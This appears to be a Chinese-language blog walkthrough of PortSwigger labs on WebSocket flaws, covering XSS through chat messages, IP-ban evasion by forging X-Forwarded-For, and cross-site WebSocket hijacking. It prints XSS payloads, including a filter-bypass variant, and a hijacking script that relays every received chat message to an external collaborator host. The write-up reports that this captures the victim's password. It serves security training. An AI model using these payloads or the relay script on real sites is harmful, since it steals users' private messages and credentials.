PortSwigger——WebSockets vulnerabilities

文章目录

  • 一、WebSockets
  • [二、Lab: Manipulating WebSocket messages to exploit vulnerabilities](#二、Lab: Manipulating WebSocket messages to exploit vulnerabilities)
  • [三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities](#三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities)
  • [四、Using cross-site WebSockets to exploit vulnerabilities](#四、Using cross-site WebSockets to exploit vulnerabilities)
    • [4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)](#4.1 跨站WebSocket劫持(cross-site WebSocket hijacking))
    • [4.2 实施跨站WebSocket劫持攻击](#4.2 实施跨站WebSocket劫持攻击)
    • [4.3 Lab: Cross-site WebSocket hijacking](#4.3 Lab: Cross-site WebSocket hijacking)

一、WebSockets

WebSockets 是一种强大的实时通信协议,适合需要低延迟和高频率数据交换的场景。WebSockets通过HTTP发起,并在两个方向上提供具有异步通信的长期连接。WebSockets用于各种目的,包括执行用户操作和传输敏感信息。实际上,常规HTTP中出现的任何Web安全漏洞也可能与WebSockets通信有关。WebSockets弥补了 HTTP 在实时性方面的不足,广泛应用于聊天、游戏、实时数据推送等领域。

例如,假设聊天应用程序使用WebSockets在浏览器和服务器之间发送聊天消息。当用户键入聊天消息时,将向服务器发送如下所示的WebSocket消息:

html 复制代码
{"message":"Hello Carlos"}

消息的内容被传输(再次通过WebSockets)到另一个聊天用户,并在用户的浏览器中呈现如下:

html 复制代码
<td>Hello Carlos</td>

在这种情况下,如果没有其他输入处理或防御,攻击者可以通过提交以下WebSocket消息来执行XSS攻击:

bash 复制代码
{"message":"<img src=1 onerror='alert(1)'>"}

二、Lab: Manipulating WebSocket messages to exploit vulnerabilities

实时聊天一般使用websokets,客户端向服务端发送hello字符串,服务端会将hello字符返回。这里可以方式XSS。

在聊天框中输入<img src=1 onerror='alert(1)'>,可以看到客户端对<、>进行了html编码。

拦截修改一下就行了

三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

某些WebSocket漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,例如:

  • 错误地信任HTTP标头来执行安全决策,例如X-Forwarded-For标头。
  • 会话处理机制中的缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
  • 由应用程序使用的自定义HTTP标头引入的攻击面。

同样进入live chat,按照上一个实验的思路重发<img src=1 onerror='alert(1)'>,可以看到,websockets连接立刻被中断。

重新连接会发现IP被ban了。

在websockets握手阶段添加X-Forwarded-For字段来掩盖源IP,并重新发送payload。

X-Forwarded-For:用于标识客户端的原始 IP 地址

bash 复制代码
<img src=1 oNeRrOr=alert`1`>


四、Using cross-site WebSockets to exploit vulnerabilities

当攻击者从其控制的网站建立跨域WebSocket连接时,会出现一些WebSocket安全漏洞。这被称为跨站点WebSocket劫持攻击,它涉及利用WebSocket握手上的跨站点请求伪造(CSRF)漏洞。这种攻击通常会产生严重的影响,允许攻击者代表受害用户执行特权操作,或捕获受害用户可以访问的敏感数据。

4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)

跨站WebSocket劫持(Cross-site WebSocket hijacking,也称为跨源WebSocket劫持,cross-origin WebSocket hijacking)涉及WebSocket握手上的跨站点请求伪造(CSRF)漏洞。当WebSocket握手请求仅依赖于HTTP cookie进行会话处理并且不包含任何CSRF令牌或其他不可预测的值时,就会出现这种情况。

攻击者可以在自己的域中创建恶意网页,并与存在漏洞的应用程序的站点建立WebSocket连接。当受害者用户访问攻击者创建的恶意网页时,应用程序会把这个来自恶意网页的 WebSocket 连接当作是受害者用户正常发起的连接来处理。这是因为在用户已经登录应用程序的情况下,浏览器会自动携带用户的会话信息(如会话 cookie),应用程序会根据这些会话信息来识别用户身份,所以会错误地认为这是合法用户的请求。

然后,攻击者的页面可以通过连接向服务器发送任意消息,并读取从服务器接收回的消息的内容。这意味着,与常规CSRF不同,攻击者可以获得与受损应用程序的双向交互。

4.2 实施跨站WebSocket劫持攻击

跨站WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞,因此执行攻击的第一步是查看应用程序执行的WebSocket握手,并确定它们是否受到CSRF保护。

就一般CSRF攻击而言,需要找到一个握手消息,该消息仅依赖于HTTP cookie进行会话处理,并且在请求参数中不使用任何令牌或其他不可预测的值。

例如,下面的WebSocket握手请求可能容易受到CSRF的攻击,因为cookie中仅有session:

html 复制代码
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Sec-WebSocket-Key标头包含一个随机值,以防止缓存代理出错,并不用于身份验证或会话处理目的。

4.3 Lab: Cross-site WebSocket hijacking

打开聊天界面

websocket握手时,cookie中仅包含session,故存在CSRF漏洞。怎么判断是websocket握手包,返回包中Connection: Upgrade说明客户端希望将当前的 HTTP 连接升级为其他协议,Upgrade: websocket则说明其他协议就是websocket协议。

Go to exploit server

javascript 复制代码
<script>
    var ws = new WebSocket('wss://0a00000204fe9c6480444952004400ef.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
    	// 向指定服务器发送websocket信息
        fetch('https://7w4hxmft1fa13xxv8e0xv9ruvl1cpadz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); 
    };
    	console.log(even.data)
</script>

这段 JavaScript 代码主要实现了与 WebSocket 服务器建立连接,在连接成功后发送 "READY" 消息,并将从 WebSocket 服务器接收到的消息通过 fetch API 发送到指定的外部服务器。

点击view exploit

可以读取聊天记录

点击Deliver_expolit_to_victim

即可拿到carlos的密码。

跨域WebSocket劫持的本质:攻击者通过websocket协议与用户建立连接,用户与聊天服务器通过websocket进行连接,上述攻击脚本将用户接受到的websocket信息转发给攻击者。

相关推荐
仇辉攻防几秒前
【云安全】云原生- K8S API Server 未授权访问
web安全·docker·云原生·容器·kubernetes·k8s·安全威胁分析
仇辉攻防3 分钟前
【云安全】云原生- K8S kubeconfig 文件泄露
web安全·docker·云原生·容器·kubernetes·k8s·安全威胁分析
黑客笔记1 小时前
snort3.0 获取注册规则(19000多条)
web安全·网络安全
H轨迹H2 小时前
CTFHub技能树-信息泄露wp
网络安全·渗透测试·web漏洞·信息泄露·ctfhub
xcLeigh6 小时前
网络安全 | 网络安全自动化:让防护更智能高效
安全·web安全·自动化
黑客Ela6 小时前
网络安全事件分级
安全·web安全
网络安全Max8 小时前
检测网络安全漏洞 工具 网络安全 漏洞扫描 实验
安全·web安全
sadoshi10 小时前
sqli-lab靶场学习(六)——Less18-22(User-Agent、Referer、Cookie注入)
sql·web安全
hwscom19 小时前
emlog最新跨站脚本漏洞(CNVD-2025-01607、CVE-2024-13140)
web安全